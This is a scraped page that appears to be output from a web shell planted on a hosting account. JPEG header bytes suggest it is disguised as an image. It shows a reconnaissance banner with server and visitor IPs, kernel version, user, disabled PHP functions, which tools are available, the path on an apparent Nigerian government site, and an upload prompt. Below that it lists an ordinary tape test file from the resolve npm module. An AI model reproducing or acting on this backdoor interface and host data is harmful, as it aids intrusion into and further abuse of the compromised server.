ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.14.253.142 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/resolve/test/ |
Upload File : |
var test = require('tape'); var resolve = require('../'); var path = require('path'); test('shadowed core modules still return core module', function (t) { t.plan(2); resolve('util', { basedir: path.join(__dirname, 'shadowed_core') }, function (err, res) { t.ifError(err); t.equal(res, 'util'); }); }); test('shadowed core modules still return core module [sync]', function (t) { t.plan(1); var res = resolve.sync('util', { basedir: path.join(__dirname, 'shadowed_core') }); t.equal(res, 'util'); }); test('shadowed core modules return shadow when appending `/`', function (t) { t.plan(2); resolve('util/', { basedir: path.join(__dirname, 'shadowed_core') }, function (err, res) { t.ifError(err); t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js')); }); }); test('shadowed core modules return shadow when appending `/` [sync]', function (t) { t.plan(1); var res = resolve.sync('util/', { basedir: path.join(__dirname, 'shadowed_core') }); t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js')); }); test('shadowed core modules return shadow with `includeCoreModules: false`', function (t) { t.plan(2); resolve('util', { basedir: path.join(__dirname, 'shadowed_core'), includeCoreModules: false }, function (err, res) { t.ifError(err); t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js')); }); }); test('shadowed core modules return shadow with `includeCoreModules: false` [sync]', function (t) { t.plan(1); var res = resolve.sync('util', { basedir: path.join(__dirname, 'shadowed_core'), includeCoreModules: false }); t.equal(res, path.join(__dirname, 'shadowed_core/node_modules/util/index.js')); });